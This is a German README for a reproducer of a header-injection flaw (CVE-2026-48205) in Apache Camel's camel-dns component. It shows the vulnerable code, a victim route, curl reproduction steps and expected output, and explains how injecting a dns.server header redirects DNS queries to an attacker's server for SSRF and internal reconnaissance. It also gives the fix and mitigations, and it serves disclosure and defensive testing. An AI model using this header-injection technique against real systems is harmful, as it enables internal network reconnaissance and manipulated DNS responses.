camel-dns dns.* / term Header-Injection-Reproducer (CVE-2026-48205)

Dieses Projekt demonstriert eine Nachrichten-Header-Injection in der Apache Camel-Komponente camel-dns, verfolgt als CVE-2026-48205. Die DNS-Producer lesen ihre Betriebsparameter – den abzufragenden Resolver, den nachzuschlagenden Namen/die Domain, den Rekordtyp/die Klasse und den Suchbegriff – aus Exchange-Headern, deren konstanten Werte (DnsConstants.DNS_SERVER, DNS_NAME, DNS_DOMAIN, DNS_TYPE, DNS_CLASS, TERM) die einfachen Zeichenfolgen dns.server, dns.name, dns.domain, dns.type, dns.class und term waren. Da diese Namen nicht mit dem Präfix Camel / camel beginnen, lässt HttpHeaderFilterStrategy — der nur den Camel-Header-Namensraum an der HTTP-Grenze blockiert — sie direkt aus einer eingehenden HTTP-Anfrage in den Exchange durch.

In einer Route, die einen HTTP-Consumer (z.B. platform-http) mit einem dns:-Producer verbindet, kann jeder HTTP-Client daher den dns.server-Header setzen, um den dig-Producer zu veranlassen, einen SimpleResolver zu erstellen, der auf einen angreiferkontrollierten DNS-Server zeigt — eine Server-seitige Request-Forgery über DNS, durch die der Angreifer den abgefragten Namen beobachten und manipulierte Antworten zurückgeben kann — und kann dns.name / dns.domain setzen, um beliebige interne Hostnamen aufzulösen (Aufklärung des internen Netzwerks).

Advisory: https://camel.apache.org/security/CVE-2026-48205.html

Zusammenfassung der Schwachstelle

Der Fix benennt die Header in CamelDnsServer / CamelDnsName / usw. um, sodass sie wie alle anderen Camel-Steuerheader an der HTTP-Grenze gefiltert werden. Gleiche Familie wie CVE-2025-27636, CVE-2026-46454 und CVE-2026-47323.

Technische Details

// DnsConstants (affected 4.18.2) — the control-header names are bare, non-Camel-prefixed strings:
public static final String DNS_SERVER = "dns.server";
public static final String DNS_NAME   = "dns.name";

// DnsDigProducer.process (affected 4.18.2) — the resolver target comes straight from the header:
String server = exchange.getIn().getHeader(DnsConstants.DNS_SERVER, String.class);
SimpleResolver resolver = new SimpleResolver(server);        // <-- attacker-controlled DNS server
int type = Type.value(exchange.getIn().getHeader(DnsConstants.DNS_TYPE, String.class));
Name name = Name.fromString(exchange.getIn().getHeader(DnsConstants.DNS_NAME, String.class), Name.root);
// ... resolver.send(query) — the query goes to the attacker's server

Der Fix (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23574) benennt die Werte in die CamelDns*-Konvention um.

Die Opfer-Route

from("platform-http:/lookup")
    .setHeader("dns.name", constant("example.com"))
    .setHeader("dns.type", constant("A"))
    .setHeader("dns.class", constant("IN"))
    .to("dns:dig");                                          // no dns.server -> default resolver (intended)

Die Route führt eine DNS-Abfrage für einen festen Namen gegen den Standard-Resolver durch. Der Angreifer fügt einen einzigen dns.server-Header hinzu, und die Abfrage wird zu seinem DNS-Server umgeleitet. (dns.server ist kleingeschrieben, daher überlebt es die Header-Normalisierung eines Servlet-Containers — platform-http ist ausreichend.)

Repository-Struktur

Alles läuft in einem eigenständigen Container: die Opfer-Route, der gefälschte DNS-Server des Angreifers (UDP 53) und der Angreifer-Treiber.

CVE-2026-48205/
├── pom.xml                 # camel-platform-http + camel-dns 4.18.2
├── Dockerfile
├── docker-compose.yml      # einzelner eigenständiger Dienst
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── FakeDnsServer.java     # Angreifer-DNS-Server auf UDP 53 (zeichnet die umgeleitete Abfrage auf)
    │   ├── VictimRoute.java       # platform-http:/lookup -> dns:dig
    │   └── ExploitController.java # Angreifer: injiziert dns.server=127.0.0.1
    └── resources/
        └── application.properties

Voraussetzungen

• Docker und Docker Compose (der gefälschte DNS-Server bindet UDP-Port 53, was Root-Rechte benötigt — der Container läuft als Root)
• Java 17+ und Maven 3.8+ (zum Erstellen der JAR-Datei)

Reproduktionsschritte

mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

Erwartete Ausgabe

=== 1) Legitimate request (no dns.server header) — default resolver ===
  attacker's DNS server was queried: false

=== 2) Injected dns.server=127.0.0.1 (SSRF via DNS) ===
  attacker's DNS server was queried: true
  observed lookup name: example.com.

>>> Header-injection / SSRF proof — an unauthenticated HTTP client redirected the route's DNS
>>> query to an attacker-controlled server via the dns.server header: true

Der DNS-Server des Angreifers sieht nun den vom Opfer abgefragten Namen (und könnte eine manipulierte Antwort zurückgeben). Durch Setzen von dns.server auf einen echten internen DNS-Resolver oder dns.name auf interne Hostnamen wird die Aufklärung des internen Netzwerks ermöglicht.

Empfohlener Fix

Upgrade auf 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23574). Nach dem Upgrade müssen Routen, die DNS-Operationen über Header steuern, CamelDnsServer / CamelDnsName / usw. verwenden.

Abhilfemaßnahmen

Bis zum Upgrade sollten die dns.*- und term-Header aus jedem nicht vertrauenswürdigen Eingang vor dem dns:-Producer entfernt werden, und die DNS-Server- und Lookup-Parameter sollten aus einer vertrauenswürdigen Quelle in der Route gesetzt werden.

Haftungsausschluss

Dieser Reproducer wird ausschließlich für Sicherheitsforschung und autorisierte Tests bereitgestellt, für eine öffentlich bekannt gegebene und behobene Schwachstelle. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Erlaubnis.